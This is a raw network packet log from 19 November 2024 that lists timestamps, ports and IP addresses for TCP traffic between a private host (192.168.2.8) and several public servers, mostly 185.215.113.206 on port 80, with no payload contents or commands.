Nov 19, 2024 18:00:47.190524101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.190548897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.190589905 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.190606117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.190622091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.190634012 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.190660954 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.190747023 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.190788984 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191354036 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191498041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191567898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191660881 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191687107 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191704988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191705942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191720963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191728115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191736937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191745996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191762924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191771984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191780090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191787004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191802025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191816092 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191818953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191834927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191844940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191850901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191867113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191874981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191881895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191893101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191896915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191914082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.191920042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191945076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.191970110 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192008018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192034006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192049026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192068100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192075014 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192076921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192095995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192115068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192137957 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192161083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192188978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192208052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192224979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192233086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192235947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192240953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192251921 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.192255020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192271948 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192286968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.192291021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192327023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192367077 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.192538023 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.193941116 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.194108963 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.194135904 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.198792934 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.198834896 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.198920012 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.199095964 CET	49815	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:47.199115992 CET	443	49815	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:47.204518080 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.204531908 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.204605103 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.204627991 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.219330072 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.229896069 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.230139017 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.230154991 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.230489016 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.230912924 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.230973005 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.231304884 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.231336117 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.231339931 CET	443	49808	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.231343985 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.264360905 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.264425993 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.264444113 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.264457941 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.264508963 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.266594887 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.266609907 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.267180920 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.267215967 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.267318010 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.268146038 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.268160105 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.277772903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277793884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277818918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277833939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277851105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277865887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277877092 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.277882099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.277901888 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.277942896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278141975 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.278208971 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.278232098 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.278240919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278271914 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.278307915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278412104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278426886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278443098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278459072 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278465986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278475046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278489113 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278505087 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278521061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278587103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278604031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278634071 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278646946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.278951883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278976917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.278995991 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279000044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279025078 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279045105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279077053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279093027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279109955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279122114 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279125929 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279140949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279150963 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279165030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279195070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279206038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279222965 CET	443	49810	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.279280901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279297113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279299021 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.279320955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279323101 CET	443	49810	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.279326916 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279337883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279351950 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279354095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279369116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279371023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279385090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279397964 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279401064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279417038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279437065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279445887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279493093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279607058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279623032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279638052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279650927 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279652119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.279680967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279680967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.279711008 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.279772997 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.279891968 CET	443	49810	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.279953003 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.279953957 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.279956102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280057907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280075073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280092001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280101061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280107975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280131102 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280133963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280148983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280153036 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280164957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280179024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280180931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280193090 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280205965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280220985 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280222893 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280236959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280251980 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280260086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280266047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280275106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280289888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280302048 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280306101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280320883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280333996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280345917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280376911 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280431986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280448914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280462980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280478954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280491114 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280494928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280523062 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280543089 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280603886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280620098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280635118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280651093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280662060 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280666113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.280692101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.280719995 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.281491995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.281554937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.281644106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.281658888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.281704903 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.282651901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.282699108 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.282779932 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.282828093 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.282968044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283014059 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283118010 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.283147097 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.283162117 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.283304930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283325911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283339977 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.283358097 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283369064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283474922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283489943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283504963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283519983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283531904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283535957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283550024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283565998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283565998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283582926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283586025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283612967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283634901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283637047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283651114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283665895 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283679962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283693075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283695936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283710003 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283726931 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283727884 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.283745050 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283756971 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.283771992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283773899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283798933 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283813953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283834934 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.283835888 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283854008 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283878088 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283879995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283896923 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283911943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283929110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283941031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283967018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.283972025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.283984900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284001112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284023046 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284044981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284156084 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284173012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284188986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284198999 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284204960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284220934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284229040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284260988 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284286022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284507990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284524918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284539938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284554958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284567118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284569979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284585953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284588099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284601927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284616947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284620047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284640074 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284642935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284660101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284667015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284674883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284687042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284688950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284706116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284730911 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284759998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.284831047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284845114 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.284887075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.285159111 CET	443	49809	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.285216093 CET	49809	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.285226107 CET	443	49809	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.285243034 CET	443	49809	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.285289049 CET	49809	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.285489082 CET	49818	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.285506964 CET	443	49818	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.290405989 CET	443	49808	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.290436029 CET	443	49808	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.290534973 CET	443	49808	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.290544033 CET	49808	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.290590048 CET	49808	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.307703972 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.320178986 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.320216894 CET	443	49810	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.320230961 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.320337057 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.321074009 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.321121931 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.321188927 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.322371006 CET	49819	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.322393894 CET	443	49819	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.326410055 CET	49809	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.326430082 CET	443	49809	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.327995062 CET	49808	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.328013897 CET	443	49808	104.117.182.25	192.168.2.8
